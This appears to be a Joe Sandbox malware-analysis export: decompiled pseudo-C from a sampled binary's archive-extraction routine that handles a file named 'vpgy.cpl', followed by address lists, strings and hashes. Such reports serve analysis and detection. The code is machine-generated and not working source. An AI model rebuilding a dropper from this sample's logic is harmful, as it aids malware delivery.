									E008697D5();
									_t736 =  *0x8ad61a & 0x0000ffff;
									_t694 =  *0x8ad5c8; // 0x0
									 *(_t774 + 0x60) = _t694;
									if(_t736 == 0) {
										L26:
										 *(_t774 + 0x73) = _t607;
										goto L27;
									} else {
										_t800 = _t694;
										if(_t694 != 0) {
											while(1) {
												__eflags = _t736 - 4;
												if(_t736 < 4) {
													break;
												}
												 *(_t774 + 0x38) = E0086A112(_t694) & 0x0000ffff;
												_t702 = E0086A112( *(_t774 + 0x60) + 2) & 0x0000ffff;
												__eflags = _t702 - _t736 - 4;
												if(_t702 > _t736 - 4) {
													goto L26;
												}
												__eflags =  *(_t774 + 0x38) - 0x17;
												if(__eflags == 0) {
													 *(_t774 + 0x73) = 1;
													E00867DA7(__eflags, 0x22, 0x8bceda, "vpgy.cpl", L"AES-0017");
													L27:
													E00867E1E();
													 *((char*)(_t774 - 4)) = 5;
													E00874BD0(_t736, _t774 - 0x249c, _t607, 0x2310);
													_t777 = _t777 + 0xc;
													E008668CD(_t774 - 0x2474, "vpgy.cpl", 0x800);
													_t737 = E0086386B(_t800, _t774 - 0x2474);
													if(_t737 > _t774 - 0x2474 && E0086373D( *_t737 & 0x0000ffff) != 0) {
														 *_t737 = 0;
													}
													_t580 =  *0x89d568; // 0x2e1e9a0
													 *((intOrPtr*)(_t774 - 0x145c)) =  *((intOrPtr*)(_t580 + 0x28));
													_t697 =  *0x8ad614; // 0x0
													 *((intOrPtr*)(_t774 - 0x1458)) =  *((intOrPtr*)(_t580 + 0x2c));
													_t582 =  *0x8ad610; // 0x194000
													 *((intOrPtr*)(_t774 - 0x143c)) = _t582;
													 *((intOrPtr*)(_t774 - 0x1438)) = _t697;
													if( *(_t774 + 0x73) != 0 || E008614FA(_t774 - 0x249c, _t607, 6, _t607, _t607, _t607) == 0) {
														L41:
														_t716 =  *(_t774 + 0x6c);
														goto L42;
													} else {
														if(E00869B8D() == 0) {
															_t87 = _t774 + 0x40;
															 *_t87 =  *(_t774 + 0x40) + 1;
															__eflags =  *_t87;
															goto L41;
														}
														E008669E4(_t774 - 0x140, _t702, "vpgy.cpl");
														 *((intOrPtr*)(_t774 + 0x54)) =  *((intOrPtr*)(_t774 + 0x54)) + 1;
														_t716 =  *(_t774 + 0x6c) + 0x48;
														 *(_t774 + 0x6c) = _t716;
														L42:
														 *(_t774 + 0x14) =  *(_t774 + 0x14) + 1;
														_t613 = _t774 - 0x1474;
														 *((char*)(_t774 - 4)) = 4;
														asm("adc [ebp], ebx");
														E00866428(_t774 - 0x1474);
														_t370 =  *((intOrPtr*)(_t774 + 0x54));
														goto L3;
													}
												}
												_t598 = 0xfffffffc;
												_t694 =  *(_t774 + 0x60) + 4 + _t702;
												 *(_t774 + 0x60) =  *(_t774 + 0x60) + 4 + _t702;
												_t736 = _t736 + _t598 - _t702;
												__eflags = _t736;
											}
										}
										goto L26;
									}
								}
								if(_t559 > _t741) {
									_t741 = _t559;
									 *(_t774 + 0x74) = _t741;
								}
								if(_t559 > 1) {
									goto L43;
								} else {
									goto L22;
								}
							}
							if(_t553 > _t741) {
								_t741 = _t553;
								 *(_t774 + 0x74) = _t741;
							}
							if(_t553 > 1) {
								goto L43;
							}
							goto L18;
						} else {
							if(_t551 > _t741) {
								_t741 = _t551;
								 *(_t774 + 0x74) = _t741;
							}
							if(_t551 > 1) {
								L43:
								E00861663(__eflags, 0x1c, 0x8bceda, "vpgy.cpl");
								 *(_t774 + 0x68) = 1;
								break;
							}
							goto L14;
						}
					}
					_t724 =  *(_t774 + 0x74);
					goto L45;
				}
				L238:
				_t336 = E00866A6E(_t774 - 0xe0, _t774 - 0x349c, 0x800);
				__eflags = _t336;
				if(_t336 == 0) {
					L241:
					_t337 = E008678D6();
					__eflags = _t337;
					if(_t337 == 0) {
						__eflags =  *(_t774 + 0x1c);
						if( *(_t774 + 0x1c) != 0) {
							__eflags =  *0x8ae80c - _t337; // 0x0
							if(__eflags == 0) {
								E008616EF(0x8b2b44, 0x8bceda);
								__eflags = _t741;
								if(_t741 == 0) {
									_t741 = _t741 + 1;
									__eflags = _t741;
								}
							}
						}
					}
					_t712 =  *(_t774 + 0x44) + 1;
					__eflags =  *0x89d558;
					if( *0x89d558 == 0) {
						_t350 = 0x49;
						__eflags =  *0x8bbeba - _t350;
						if( *0x8bbeba != _t350) {
							__eflags = _t607;
							if(__eflags == 0) {
								E00861634(__eflags, 0x44, 0x8bceda);
							}
							E008618F4(0x8b2b44, 0xa);
						}
					}
					__eflags = _t712;
					if(_t712 != 0) {
						L254:
						_t615 =  *(_t774 + 0x18);
						__eflags = _t712 - (_t615 & 0x0000ffff);
						if(_t712 != (_t615 & 0x0000ffff)) {
							L257:
							__eflags =  *(_t774 + 0x40);
							if( *(_t774 + 0x40) == 0) {
								L261:
								__eflags = _t615;
								if(_t615 != 0) {
									__eflags = _t741;
									if(_t741 == 0) {
										_t741 = _t741 + 1;
										__eflags = _t741;
									}
								}
								goto L264;
							}
							__eflags = _t741 - 1;
							if(_t741 > 1) {
								goto L261;
							}
							_push(0x51);
							L260:
							_pop(_t741);
							goto L264;
						}
						__eflags = _t741 - 1;
						if(_t741 > 1) {
							goto L257;
						}
						_push(0x52);
						goto L260;
					} else {
						__eflags = _t741 - 1;
						if(_t741 > 1) {
							goto L254;
						}
						__eflags = 0 -  *(_t774 + 0x40);
						asm("sbb esi, esi");
						_t741 = (_t741 & 0x00000046) + 0xb;
						L264:
						E008612D6(_t774 - 0xe0);
						_t608 =  *(_t774 - 0x38);
						 *((char*)(_t774 - 4)) = 6;
						__eflags = _t608;
						if(_t608 != 0) {
							__eflags =  *((char*)(_t774 - 0x28));
							if( *((char*)(_t774 - 0x28)) != 0) {
								__eflags =  *(_t774 - 0x30) << 3;
								E008659AB(_t608,  *(_t774 - 0x30) << 3);
							}
							L008787AE(_t608);
						}
						E008612D6(_t774 - 0x140);
						E00867EB8(_t774 - 0x80);
						_t342 =  *(_t774 + 0x50);
						__eflags = _t342;
						if(_t342 != 0) {
							L008787AE(_t342);
						}
						 *[fs:0x0] =  *((intOrPtr*)(_t774 - 0xc));
						__eflags = _t774 + 0x78;
						return _t741;
					}
				}
				_t715 =  *(_t774 - 0x38) + 0x10;
				__eflags = _t715;
				do {
					 *(_t774 - 0x14) =  *((intOrPtr*)(_t715 - 0x10));
					 *((intOrPtr*)(_t774 - 0x10)) =  *((intOrPtr*)(_t715 - 0xc));
					 *(_t774 - 0x1c) =  *((intOrPtr*)(_t715 - 8));
					 *(_t774 - 0x18) =  *(_t715 - 4);
					 *(_t774 - 0x24) =  *_t715;
					 *(_t774 - 0x20) =  *(_t715 + 4);
					asm("sbb eax, eax");
					_push( ~( *0x8bae98) & _t774 - 0x00000024);
					asm("sbb eax, eax");
					_push( ~( *0x8bae94) & _t774 - 0x0000001c);
					asm("sbb eax, eax");
					_push( ~( *0x8bae90) & _t774 - 0x00000014);
					_push(_t774 - 0x349c);
					E008627B2(_t702);
					_t715 = _t715 + 0x18;
					_t369 = E00866A6E(_t774 - 0xe0, _t774 - 0x349c, 0x800);
					__eflags = _t369;
				} while (_t369 != 0);
				goto L241;
			}

0x0086816f
0x00868170
0x00868178
0x00868182
0x00868187
0x0086818b
0x0086818f
0x00868194
0x00868198
0x0086819c
0x0086819e
0x008681a3
0x008681a6
0x008681a9
0x008681ac
0x008681af
0x008681b2
0x008681b5
0x008681b8
0x008681bb
0x008681be
0x008681c1
0x008681d2
0x008681d9
0x008681dc
0x008681df
0x008681e2
0x008681e5
0x008681ef
0x008681f2
0x008681f5
0x008681f8
0x008681fb
0x00868206
0x0086820a
0x0086820f
0x00868212
0x00868215
0x00868218
0x0086821b
0x0086821e
0x00868224
0x00868228
0x00868232
0x00868236
0x00868240
0x00868245
0x0086824b
0x00000000
0x0086824c
0x00000000
0x00868263
0x00868291
0x0086829d
0x00868768
0x0086872b
0x0086872b
0x0086872c
0x0086872c
0x0086875c
0x0086875c
0x008685c3
0x008685c3
0x008685ca
0x008685cf
0x008685d2
0x008685d7
0x008685da
0x008685df
0x008685e2
0x008685e7
0x008685ea
0x008685ef
0x008685f2
0x008685f9
0x008685ff
0x00868604
0x00868606
0x0086860b
0x0086860d
0x0086860d
0x0086861d
0x00868622
0x00868627
0x00868629
0x00868633
0x00868639
0x0086863f
0x0086863f
0x00868641
0x00868647
0x00868658
0x0086865f
0x0086865f
0x00868664
0x00868666
0x00868669
0x0086866c
0x00868cea
0x00868cea
0x00868cfe
0x00868d06
0x00868d08
0x00868d15
0x00868d1b
0x00868d2a
0x00868d2f
0x00868d35
0x00868d3d
0x00868d40
0x00868d44
0x00868d47
0x00868d4f
0x00868d57
0x00868d5c
0x00000000
0x00000000
0x00000000
0x00868672
0x00868675
0x00868675
0x00868678
0x0086867b
0x00868680
0x0086868c
0x00868691
0x00868696
0x0086869d
0x008686a3
0x008686a6
0x008686ac
0x008686af
0x008686b5
0x008686c2
0x008686c4
0x00868777
0x008686ca
0x008686d0
0x008686d5
0x008686d7
0x008686dc
0x008686de
0x008686de
0x008686ea
0x008686ea
0x0086877c
0x00868784
0x00868789
0x0086878e
0x00868790
0x0086879a
0x008687a0
0x008687a6
0x008687a6
0x008687a8
0x008687ae
0x008687b3
0x008687b3
0x008686b5
0x008687c1
0x008687c4
0x008687d2
0x008687da
0x008687dd
0x008687e2
0x008687e5
0x008687e8
0x008687eb
0x008687ed
0x00000000
0x00000000
0x008687f3
0x008687f3
0x008687fd
0x00868807
0x0086880c
0x00868812
0x00868813
0x00868816
0x0086887f
0x00868881
0x00868882
0x00868882
0x00868f0b
0x00868f0e
0x00868f0f
0x00868f12
0x00868f15
0x00000000
0x00000000
0x00868f1b
0x00868680
0x0086868c
0x00868691
0x00868696
0x0086869d
0x008686a3
0x008686a6
0x008686ac
0x008686af
0x008686b5
0x008686c2
0x008686c4
0x00868777
0x008686ca
0x008686d0
0x008686d5
0x008686d7
0x008686dc
0x008686de
0x008686de
0x008686ea
0x008686ea
0x0086877c
0x00868784
0x00868789
0x0086878e
0x00868790
0x0086879a
0x008687a0
0x008687a6
0x008687a6
0x008687a8
0x008687ae
0x008687b3
0x008687b3
0x008686b5
0x008687c1
0x008687c4
0x008687d2
0x008687da
0x008687dd
0x008687e2
0x008687e5
0x008687e8
0x008687eb
0x008687ed
0x00000000
0x00000000
0x008687ed
0x00868818
0x00868820
0x00868826
0x00868828
0x00000000
0x00000000
0x0086882a
0x00868835
0x0086883b
0x00868841
0x00868844
0x0086884b
0x0086884e
0x00868851
0x00868859
0x0086885b
0x0086885e
0x00868860
0x00868862
0x00868865
0x00868867
0x0086888d
0x0086888d
0x00868893
0x008688d2
0x008688d2
0x008688e4
0x008688ec
0x008688ee
0x008688fb
0x00868903
0x00868910
0x00868915
0x0086891b
0x00868920
0x00868921
0x00868923
0x00868925
0x0086892b
0x00868931
0x00868933
0x00868943
0x00868943
0x0086894e
0x00868956
0x00868957
0x00868957
0x00868959
0x0086895f
0x00868961
0x00868967
0x0086896f
0x00868974
0x00868976
0x00868870
0x0086887a
0x00000000
0x0086887a
0x0086897d
0x00868982
0x00868984
0x00868a14
0x00868a19
0x00868a1b
0x00868a1d
0x00868a35
0x00868a38
0x00868a3d
0x00868a4a
0x00868a4c
0x00868a4d
0x00868a52
0x00868a54
0x00868a7a
0x00868a7a
0x00868a7f
0x00868a81
0x00868a84
0x00868a8a
0x00868a8a
0x00868a97
0x00868a98
0x00868a99
0x00868a9b
0x00868a9c
0x00868aa1
0x00868aa3
0x00868ab3
0x00868ac3
0x00868ac8
0x00868ae8
0x00868af7
0x00868af9
0x00868b04
0x00868b0c
0x00868b0c
0x00868b11
0x00868b17
0x00868b1c
0x00868b21
0x00868b2c
0x00868b31
0x00868b3d
0x00868b42
0x00868b4e
0x00868b5a
0x00868b5b
0x00868b61
0x00868b67
0x00868b7f
0x00868b89
0x00868b8e
0x00868b94
0x00868ba2
0x00868ba7
0x00868baf
0x00868bb2
0x00868bea
0x00868bea
0x00868beb
0x00868bec
0x00868bed
0x00868bf2
0x00868bf6
0x00868bfe
0x00868bf8
0x00868bf8
0x00868bfa
0x00868c21
0x00868c24
0x00868c29
0x00868c2e
0x00868c31
0x00868c37
0x00868c3a
0x00868e96
0x00868e96
0x00868e98
0x00868e9b
0x00868e9e
0x00868ea1
0x00868ea6
0x00868eac
0x00868eb2
0x00868eb5
0x00868eb7
0x00868eba
0x00868ebd
0x00868ec0
0x00868ec3
0x00868ec5
0x00868ed5
0x00868ed5
0x00868ed7
0x00868ed9
0x00868ee8
0x00868eed
0x00868eef
0x00000000
0x00000000
0x00868ef5
0x00868efc
0x00868f23
0x00868f27
0x00868f29
0x00869018
0x0086901d
0x00869020
0x0086907e
0x00869085
0x00868f08
0x00868f08
0x00000000
0x00868f08
0x0086908b
0x0086908b
0x0086908d
0x008690c3
0x008690c3
0x008690c8
0x008690cc
0x00869106
0x00869106
0x0086910b
0x0086910e
0x00869110
0x00000000
0x00000000
0x00869116
0x00869118
0x00000000
0x00000000
0x0086911e
0x00000000
0x0086911e
0x008690d3
0x008690d5
0x008690d7
0x00000000
0x00000000
0x008690d9
0x008690dc
0x0086912d
0x00869138
0x0086913d
0x00869140
0x00000000
0x00869140
0x008690de
0x008690e1
0x008690ea
0x008690ed
0x008690ef
0x008690ef
0x008690f2
0x008690e3
0x008690e3
0x008690e6
0x008690e6
0x008690f4
0x008690fc
0x00000000
0x008690fc
0x0086908f
0x0086908f
0x008690ac
0x008690b1
0x008690b4
0x00000000
0x00000000
0x008690ba
0x008690bd
0x00000000
0x00000000
0x00000000
0x008690bd
0x00869022
0x00869024
0x00869062
0x00869067
0x0086906a
0x00000000
0x00000000
0x00869070
0x00869072
0x00869079
0x0086907b
0x00000000
0x0086907b
0x00869074
0x00869077
0x00000000
0x00000000
0x00000000
0x00869077
0x00869026
0x00869029
0x00000000
0x00000000
0x0086902f
0x00869034
0x00869037
0x00000000
0x00000000
0x0086903d
0x00869044
0x00000000
0x00000000
0x0086904a
0x00869051
0x00000000
0x00000000
0x00869057
0x00869059
0x00000000
0x00000000
0x0086905b
0x0086905e
0x00000000
0x00000000
0x00000000
0x00869060
0x00868f2f
0x00868f36
0x00000000
0x00000000
0x00868f38
0x00868f3f
0x00000000
0x00000000
0x00868f41
0x00868f48
0x00000000
0x00000000
0x00868f4a
0x00868f4f
0x00868f52
0x00868f5a
0x00868f5a
0x00868f5d
0x00868f5e
0x00868f63
0x00868f65
0x00868fca
0x00868fd1
0x00868fd6
0x00868fe5
0x00868fea
0x00868ff9
0x00868ffe
0x0086900d
0x00000000
0x0086900d
0x00868f67
0x00868f76
0x00868f7b
0x00868f7d
0x00868fc4
0x00868fc4
0x00868fc4
0x00000000
0x00868fc4
0x00868f8a
0x00868f8f
0x00868fa4
0x00868fa6
0x00000000
0x00000000
0x00868fb0
0x00868fba
0x00000000
0x00868fba
0x00868f54
0x00868f58
0x00000000
0x00000000
0x00000000
0x00868f58
0x00868efe
0x00868f02
0x00000000
0x00000000
0x00000000
0x00868f02
0x00868ec9
0x00868eca
0x00868ed1
0x00868ed3
0x00000000
0x00000000
0x00000000
0x00868c40
0x00868c43
0x00868c46
0x00000000
0x00000000
0x00868c4c
0x00868c4f
0x00868c52
0x00868c54
0x00868c57
0x00868c5a
0x00868c5c
0x00000000
0x00000000
0x00868c62
0x00868c6c
0x00868c6c
0x00868c6c
0x00868c6e
0x00868c70
0x00868c73
0x00000000
0x00000000
0x00868c79
0x00868c87
0x00868c8a
0x00868c8d
0x00868c90
0x00868c93
0x00868c96
0x00868c99
0x00868c9c
0x00868c9f
0x00868d67
0x00868d6a
0x00868d6c
0x00868d6f
0x00868d72
0x00868d74
0x00868d79
0x00868d7c
0x00868d7f
0x00868d82
0x00868d88
0x00868d8b
0x00868d8e
0x00868dae
0x00868dae
0x00868db1
0x00868db1
0x00868db4
0x00868db6
0x00868db9
0x00868dbb
0x00868e2f
0x00868e2f
0x00868e32
0x00868e33
0x00868e36
0x00868e38
0x00868e7c
0x00868e3a
0x00868e42
0x00868e44
0x00868e47
0x00868e49
0x00868e4b
0x00868e4d
0x00868e4d
0x00868e53
0x00868e54
0x00868e5c
0x00868e5e
0x00868e63
0x00868e65
0x00868e6c
0x00868e6c
0x00868e74
0x00868e77
0x00868e77
0x00868e81
0x00868e8a
0x00868e8c
0x00868e8d
0x00868e8e
0x00868e8f
0x00868e90
0x00000000
0x00868e90
0x00868dc0
0x00868dc0
0x00868dc3
0x00868dc3
0x00868dc6
0x00868dc9
0x00868dcc
0x00868df8
0x00868df8
0x00868dfa
0x00000000
0x00000000
0x00868dfc
0x00868e03
0x00868e03
0x00868e08
0x00868e0a
0x00868e0d
0x00868ccc
0x00868cd8
0x00868cdf
0x00868ce0
0x00868ce3
0x00868ce3
0x00000000
0x00868ce3
0x00868e13
0x00868e1e
0x00868e1e
0x00000000
0x00868e1e
0x00868e15
0x00868e18
0x00000000
0x00000000
0x00000000
0x00868e18
0x00868dfe
0x00868e01
0x00000000
0x00000000
0x00000000
0x00868e01
0x00868dce
0x00868dd5
0x00868dda
0x00868ddc
0x00868dde
0x00868de1
0x00000000
0x00000000
0x00868de7
0x00868df2
0x00868df2
0x00868df5
0x00000000
0x00868df5
0x00868de9
0x00868dec
0x00000000
0x00000000
0x00000000
0x00868dec
0x00868dd0
0x00868dd3
0x00000000
0x00000000
0x00000000
0x00868e21
0x00868e21
0x00868e24
0x00868e25
0x00868e28
0x00868e2b
0x00868e2b
0x00000000
0x00868dc3
0x00868d90
0x00868d97
0x00868d97
0x00868d9a
0x00868d9c
0x00000000
0x00000000
0x00868da2
0x00000000
0x00000000
0x00868da4
0x00868da6
0x00000000
0x00000000
0x00000000
0x00868dac
0x00868d92
0x00868d95
0x00000000
0x00000000
0x00000000
0x00868d95
0x00868ca5
0x00868caf
0x00868cb1
0x00868cb4
0x00868cb7
0x00868cba
0x00868cbc
0x00000000
0x00000000
0x00868cbe
0x00000000
0x00000000
0x00868cc4
0x00868cc6
0x00000000
0x00000000
0x00000000
0x00868cc6
0x00868ca7
0x00868ca9
0x00000000
0x00000000
0x00000000
0x00868ca9
0x00868c7b
0x00868c81
0x00000000
0x00000000
0x00000000
0x00868c81
0x00868c64
0x00868c66
0x00000000
0x00000000
0x00000000
0x00868c66
0x00868bb4
0x00868bb4
0x00868bbc
0x00000000
0x00000000
0x00868bbe
0x00868bc5
0x00868bca
0x00868bcd
0x00000000
0x00000000
0x00868bcf
0x00868bd1
0x00868bd1
0x00868bd5
0x00868bd9
0x00868bda
0x00868bda
0x00868bdd
0x00868be0
0x00868be3
0x00868be5
0x00868be5
0x00000000
0x00868bd1
0x00868aa5
0x00868aa5
0x00868aa7
0x00868aa9
0x00868aab
0x00868aab
0x00868aae
0x00868ab1
0x00868a64
0x00868a70
0x00000000
0x00000000
0x00000000
0x00000000
0x00868ab1
0x00868aa3
0x00868a56
0x00868a58
0x00868a5a
0x00868a5c
0x00868a5c
0x00868a5f
0x00868a62
0x00000000
0x00000000
0x00000000
0x00000000
0x00868a62
0x00868a29
0x00868a2e
0x00000000
0x00868a2e
0x0086898a
0x0086898e
0x00868994
0x0086899a
0x008689b6
0x008689b6
0x008689b8
0x00000000
0x00000000
0x008689be
0x008689c3
0x008689c6
0x008689c8
0x00000000
0x00000000
0x008689ce
0x008689d4
0x008689da
0x008689da
0x008689df
0x008689e4
0x008689e9
0x008689eb
0x00000000
0x00000000
0x008689f9
0x008689fe
0x00868a00
0x00000000
0x00000000
0x00868a07
0x00868a0c
0x00868a0e
0x00000000
0x00000000
0x00000000
0x00868a0e
0x0086899e
0x008689a0
0x00000000
0x00000000
0x008689a2
0x008689a5
0x008689a8
0x008689ae
0x00000000
0x008689ae
0x00868935
0x00000000
0x00000000
0x0086893b
0x0086893d
0x00000000
0x00000000
0x00000000
0x0086893d
0x00868895
0x0086889b
0x00000000
0x00000000
0x0086889d
0x008688a4
0x00000000
0x00000000
0x008688a6
0x008688ab
0x008688b0
0x008688b8
0x008688b9
0x008688bf
0x008688c8
0x00000000
0x008688c8
0x00868869
0x00000000
0x00000000
0x0086886b
0x0086886e
0x00000000
0x00000000
0x00000000
0x0086886e
0x008687f5
0x008687f7
0x00000000
0x00000000
0x00000000
0x0086888a
0x0086888a
0x00000000
0x0086888a
0x0086867b
0x0086866c
0x008682ab
0x008686fb
0x00868706
0x00868708
0x00868731
0x00868732
0x00868737
0x00868739
0x00868756
0x00868756
0x00868759
0x00868759
0x00000000
0x00868759
0x0086873b
0x00868741
0x0086874d
0x0086874d
0x00000000
0x0086874d
0x00868744
0x00868749
0x0086874b
0x00000000
0x00000000
0x00000000
0x0086874b
0x0086870a
0x00868710
0x0086871a
0x0086871f
0x00868724
0x00868729
0x00000000
0x00868729
0x00868712
0x00868718
0x00000000
0x00000000
0x00000000
0x00868718
0x008682b1
0x008682b8
0x008686f4
0x00000000
0x008686f4
0x008682be
0x008682cb
0x008682d3
0x008682d8
0x008682da
0x008682db
0x008682e2
0x008682f6
0x008682fd
0x008682fe
0x008682ff
0x00868301
0x00868302
0x00868309
0x0086831d
0x0086832c
0x00868344
0x00868350
0x00868351
0x00868352
0x00868353
0x00868354
0x0086835b
0x0086836f
0x0086836f
0x00868396
0x008683aa
0x008683b6
0x008683b6
0x008683d8
0x008683dd
0x008683e2
0x008683e5
0x008683e8
0x008683ed
0x008683f0
0x008683f3
0x008683f9
0x008683fd
0x00868401
0x0086840c
0x0086840d
0x00868413
0x00868418
0x0086841f
0x00868425
0x0086842a
0x00868434
0x00868434
0x00000000
0x0086842c
0x0086842c
0x0086842e
0x0086855b
0x0086855b
0x0086855e
0x00000000
0x00000000
0x00868526
0x00868535
0x0086853b
0x0086853d
0x00000000
0x00000000
0x00868543
0x00868547
0x00868576
0x0086857a
0x00868437
0x0086843d
0x0086844d
0x00868453
0x00868458
0x0086846c
0x0086847d
0x00868487
0x00868498
0x00868498
0x0086849f
0x008684aa
0x008684b0
0x008684b6
0x008684bc
0x008684c1
0x008684c7
0x008684cd
0x00868587
0x00868587
0x00000000
0x008684f2
0x008684f9
0x00868584
0x00868584
0x00868584
0x00000000
0x00868584
0x0086850a
0x00868512
0x00868515
0x00868518
0x0086858a
0x0086858a
0x0086858e
0x00868594
0x00868598
0x0086859b
0x008685a0
0x00000000
0x008685a0
0x008684cd
0x00868551
0x00868552
0x00868556
0x00868559
0x00868559
0x00868559
0x00868560
0x00000000
0x0086842e
0x0086842a
0x0086835f
0x00868361
0x00868363
0x00868363
0x00868369
0x00000000
0x00000000
0x00000000
0x00000000
0x00868369
0x0086830d
0x0086830f
0x00868311
0x00868311
0x00868317
0x00000000
0x00000000
0x00000000
0x008682e4
0x008682e6
0x008682e8
0x008682ea
0x008682ea
0x008682f0
0x008685a8
0x008685b4
0x008685b9
0x00000000
0x008685b9
0x00000000
0x008682f0
0x008682e2
0x008685c0
0x00000000
0x008685c0
0x00869142
0x00869154
0x00869159
0x0086915b
0x008691e1
0x008691e1
0x008691e6
0x008691e8
0x008691ea
0x008691ee
0x008691f0
0x008691f6
0x00869202
0x00869207
0x00869209
0x0086920b
0x0086920b
0x0086920b
0x00869209
0x008691f6
0x008691ee
0x0086920f
0x00869210
0x00869217
0x0086921b
0x0086921c
0x00869223
0x00869225
0x00869227
0x00869230
0x00869230
0x0086923c
0x0086923c
0x00869223
0x00869241
0x00869243
0x0086925d
0x0086925d
0x00869263
0x00869265
0x00869270
0x00869270
0x00869275
0x00869281
0x00869281
0x00869284
0x00869286
0x00869288
0x0086928a
0x0086928a
0x0086928a
0x00869288
0x00000000
0x00869284
0x00869277
0x0086927a
0x00000000
0x00000000
0x0086927c
0x0086927e
0x0086927e
0x00000000
0x0086927e
0x00869267
0x0086926a
0x00000000
0x00000000
0x0086926c
0x00000000
0x00869245
0x00869245
0x00869248
0x00000000
0x00000000
0x00869250
0x00869253
0x00869258
0x0086928b
0x00869291
0x00869296
0x00869299
0x0086929e
0x008692a0
0x008692a2
0x008692a6
0x008692ab
0x008692b0
0x008692b0
0x008692b6
0x008692bb
0x008692c2
0x008692ca
0x008692cf
0x008692d2
0x008692d4
0x008692d7
0x008692dc
0x008692e4
0x008692eb
0x008692ef
0x008692ef
0x00869243
0x00869164
0x00869164
0x00869167
0x0086916d
0x00869170
0x00869179
0x0086917c
0x00869184
0x0086918e
0x00869194
0x0086919b
0x008691a3
0x008691aa
0x008691b2
0x008691b6
0x008691bd
0x008691be
0x008691d5
0x008691d8
0x008691dd
0x008691dd
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00868178

Strings

z01, xrefs: 0086860D, 00868617
AES-0017, xrefs: 00868565
zx01, xrefs: 00868606
vpgy.cpl, xrefs: 008682BE, 0086839D, 008683A8, 008683B4, 008683B5, 00868466, 008684FF, 0086856A, 008685A8, 00868A3D, 00868A64, 00868AF2, 00868AFC, 00868B0A, 00868B0B, 00868B88, 00868BA1, 00868BA7, 00868BEB, 00868BEC, 00868CCC, 00868EDB, 00868EE7, 00868F38, 00868F5D, 00868F75, 00868F89, 00868F9E, 00868FA8, 00868FCA, 00869017, 008690A6, 008690F5
zipx, xrefs: 008686D7
zip, xrefs: 008686DE, 008686E8

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: H_prolog
String ID: AES-0017$vpgy.cpl$z01$zip$zipx$zx01
API String ID: 3519838083-3386465464
Opcode ID: 84a9f2c132507a1fd5abec3116bf4e935553913d303cfdb8a72ef279970dd148
Instruction ID: f66a9a121d45cadf1c94d8a0e7040c977162077900fbf12582f4fee8c334108b
Opcode Fuzzy Hash: 84a9f2c132507a1fd5abec3116bf4e935553913d303cfdb8a72ef279970dd148
Instruction Fuzzy Hash: 5DB2BC71A00218DFDB24DF68DC81AA93BA5FB19304F16422AF95AE77A1DB34DC41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0087F2E4 Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E0087F2E4(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t49;
				signed int _t54;
				int _t57;
				signed int _t59;
				short* _t61;
				signed int _t65;
				short* _t70;
				int _t79;
				void* _t81;
				short* _t82;
				signed int _t88;
				signed int _t91;
				void* _t96;
				int _t98;
				void* _t99;
				short* _t101;
				int _t103;
				void* _t104;
				int _t105;
				signed int _t106;
				short* _t107;
				void* _t110;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x893688; // 0xe2d35318
				_v8 = _t49 ^ _t106;
				_t103 = _a20;
				if(_t103 > 0) {
					_t79 = E008838CC(_a16, _t103);
					_t110 = _t79 - _t103;
					_t4 = _t79 + 1; // 0x1
					_t103 = _t4;
					if(_t110 >= 0) {
						_t103 = _t79;
					}
				}
				_t98 = _a32;
				if(_t98 == 0) {
					_t98 =  *( *_a4 + 8);
					_a32 = _t98;
				}
				_t54 = MultiByteToWideChar(_t98, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t103, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					_pop(_t99);
					_pop(_t104);
					_pop(_t81);
					return E0087494C(_t54, _t81, _v8 ^ _t106, _t96, _t99, _t104);
				} else {
					_t96 = _t54 + _t54;
					_t86 = _t96 + 8;
					asm("sbb eax, eax");
					if((_t96 + 0x00000008 & _t54) == 0) {
						_t82 = 0;
						__eflags = 0;
						L14:
						if(_t82 == 0) {
							L36:
							_t105 = 0;
							L37:
							E0087F54C(_t82);
							_t54 = _t105;
							goto L38;
						}
						_t57 = MultiByteToWideChar(_t98, 1, _a16, _t103, _t82, _v12);
						_t121 = _t57;
						if(_t57 == 0) {
							goto L36;
						}
						_t100 = _v12;
						_t59 = E0087F8EC(_t82, _t86, _v12, _t121, _a8, _a12, _t82, _v12, 0, 0, 0, 0, 0); // executed
						_t105 = _t59;
						if(_t105 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t96 = _t105 + _t105;
							_t88 = _t96 + 8;
							__eflags = _t96 - _t88;
							asm("sbb eax, eax");
							__eflags = _t88 & _t59;
							if((_t88 & _t59) == 0) {
								_t101 = 0;
								__eflags = 0;
								L30:
								__eflags = _t101;
								if(__eflags == 0) {
									L35:
									E0087F54C(_t101);
									goto L36;
								}
								_t61 = E0087F8EC(_t82, _t88, _t101, __eflags, _a8, _a12, _t82, _v12, _t101, _t105, 0, 0, 0);
								__eflags = _t61;
								if(_t61 == 0) {
									goto L35;
								}
